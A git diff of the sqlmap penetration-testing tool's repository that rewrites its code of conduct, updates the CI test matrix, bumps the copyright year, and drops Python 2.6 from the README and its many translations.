diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md
index 2a36badf3..539394c01 100644
--- a/.github/CODE_OF_CONDUCT.md
+++ b/.github/CODE_OF_CONDUCT.md
@@ -1,46 +1,22 @@
-# Contributor Covenant Code of Conduct
+# Code of Conduct
-## Our Pledge
+## Our Goal
-In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
+The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration.
-## Our Standards
+## Standards
-Examples of behavior that contributes to creating a positive environment include:
+Contributors are expected to:
-* Using welcoming and inclusive language
-* Being respectful of differing viewpoints and experiences
-* Gracefully accepting constructive criticism
-* Focusing on what is best for the community
-* Showing empathy towards other community members
+* Be respectful and professional in all communications.
+* Focus on the technical merits of the project.
+* Gracefully accept constructive criticism.
-Examples of unacceptable behavior by participants include:
+Unacceptable behavior includes:
-* The use of sexualized language or imagery and unwelcome sexual attention or advances
-* Trolling, insulting/derogatory comments, and personal or political attacks
-* Public or private harassment
-* Publishing others' private information, such as a physical or electronic address, without explicit permission
-* Other conduct which could reasonably be considered inappropriate in a professional setting
-
-## Our Responsibilities
-
-Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
-
-Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
-
-## Scope
-
-This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
+* Harassment, personal attacks, or doxxing.
+* Any behavior that disrupts the technical progress of the project.
## Enforcement
-Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
-
-Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
-
-## Attribution
-
-This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
-
-[homepage]: http://contributor-covenant.org
-[version]: http://contributor-covenant.org/version/1/4/
+The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `dev@sqlmap.org`.
diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml
index 0ecd5cd3f..3d8d9ef3d 100644
--- a/.github/workflows/tests.yml
+++ b/.github/workflows/tests.yml
@@ -9,20 +9,30 @@ jobs:
runs-on: ${{ matrix.os }}
strategy:
matrix:
- os: [ubuntu-latest, macos-latest, windows-latest]
- python-version: [ 'pypy-2.7', '3.13' ]
- exclude:
+ include:
+ - os: ubuntu-latest
+ python-version: "pypy-2.7"
- os: macos-latest
- python-version: 'pypy-2.7'
+ python-version: "3.8"
+ - os: windows-latest
+ python-version: "3.14"
+
steps:
- - uses: actions/checkout@v2
- - name: Set up Python
- uses: actions/setup-python@v2
+ - name: Checkout code
+ uses: actions/checkout@v4
+ with:
+ fetch-depth: 1
+
+ - name: Set up Python ${{ matrix.python-version }}
+ uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
+
- name: Basic import test
run: python -c "import sqlmap; import sqlmapapi"
+
- name: Smoke test
run: python sqlmap.py --smoke
+
- name: Vuln test
run: python sqlmap.py --vuln
diff --git a/.gitignore b/.gitignore
index 1f7f94a3b..afc6fff48 100644
--- a/.gitignore
+++ b/.gitignore
@@ -5,4 +5,5 @@ __pycache__/
traffic.txt
*~
req*.txt
-.idea/
\ No newline at end of file
+.idea/
+.aider*
diff --git a/LICENSE b/LICENSE
index 497332937..cc0480caf 100644
--- a/LICENSE
+++ b/LICENSE
@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
-sqlmap is (C) 2006-2025 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
diff --git a/README.md b/README.md
index b569265e0..e85b3a043 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
@@ -20,7 +20,7 @@ Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlm
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
+sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform.
Usage
----
diff --git a/data/html/index.html b/data/html/index.html
deleted file mode 100644
index 576f2763b..000000000
--- a/data/html/index.html
+++ /dev/null
@@ -1,151 +0,0 @@
-
-
-
-
-
-
diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md
index af3de5509..d66b5301e 100644
--- a/doc/translations/README-bg-BG.md
+++ b/doc/translations/README-bg-BG.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
@@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи.
+sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.7** и **3.x** на всички платформи.
Използване
----
diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md
index d602cc316..8e4cfe369 100644
--- a/doc/translations/README-bn-BD.md
+++ b/doc/translations/README-bn-BD.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
**SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও।
@@ -23,7 +23,7 @@
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
```
-SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.6**, **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে।
+SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে।
diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md
index 6bb8fca22..db8139553 100644
--- a/doc/translations/README-ckb-KU.md
+++ b/doc/translations/README-ckb-KU.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md
index 379a0575c..65d96220e 100644
--- a/doc/translations/README-de-DE.md
+++ b/doc/translations/README-de-DE.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md
index 4432ae858..f85f4862f 100644
--- a/doc/translations/README-es-MX.md
+++ b/doc/translations/README-es-MX.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
@@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
+sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma.
Uso
---
diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md
index e3d9daf60..eb84e4109 100644
--- a/doc/translations/README-fa-IR.md
+++ b/doc/translations/README-fa-IR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md
index 964f7e104..4d867898b 100644
--- a/doc/translations/README-fr-FR.md
+++ b/doc/translations/README-fr-FR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/)
+sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/)
Utilisation
----
diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md
index ede6340d1..0d5e04465 100644
--- a/doc/translations/README-gr-GR.md
+++ b/doc/translations/README-gr-GR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
@@ -20,7 +20,7 @@
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
+Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα.
Χρήση
----
diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md
index dffab7062..45d5eaad1 100644
--- a/doc/translations/README-hr-HR.md
+++ b/doc/translations/README-hr-HR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
+sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
Korištenje
----
diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md
index 39ad3e58f..f82bf71d2 100644
--- a/doc/translations/README-id-ID.md
+++ b/doc/translations/README-id-ID.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data.
@@ -22,7 +22,7 @@ Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada re
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
+sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun.
Penggunaan
----
diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md
index c2d323bcc..b311f81af 100644
--- a/doc/translations/README-in-HI.md
+++ b/doc/translations/README-in-HI.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं।
@@ -20,7 +20,7 @@ sqlmap एक ओपन सोर्स प्रवेश परीक्षण
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
+sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
उपयोग
----
diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md
index af10ee150..6b074141b 100644
--- a/doc/translations/README-it-IT.md
+++ b/doc/translations/README-it-IT.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
@@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
+sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
Utilizzo
----
diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md
index 3cbc9ce99..d43e3f563 100644
--- a/doc/translations/README-ja-JP.md
+++ b/doc/translations/README-ja-JP.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
@@ -21,7 +21,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
+sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
使用方法
----
diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md
index 9eb193d1d..12b59b31e 100644
--- a/doc/translations/README-ka-GE.md
+++ b/doc/translations/README-ka-GE.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის.
@@ -20,7 +20,7 @@ sqlmap არის შეღწევადობის ტესტირე
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან.
+sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.7** და **3.x** ვერსიებთან.
გამოყენება
----
diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md
index dd508732d..254220983 100644
--- a/doc/translations/README-ko-KR.md
+++ b/doc/translations/README-ko-KR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
@@ -20,7 +20,7 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
+sqlmap은 [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
사용법
----
diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md
index 03c4dff3e..f11416841 100644
--- a/doc/translations/README-nl-NL.md
+++ b/doc/translations/README-nl-NL.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen.
@@ -20,7 +20,7 @@ Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmappr
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**.
+sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**.
Gebruik
----
diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md
index 00fdf7b43..e7b145e96 100644
--- a/doc/translations/README-pl-PL.md
+++ b/doc/translations/README-pl-PL.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
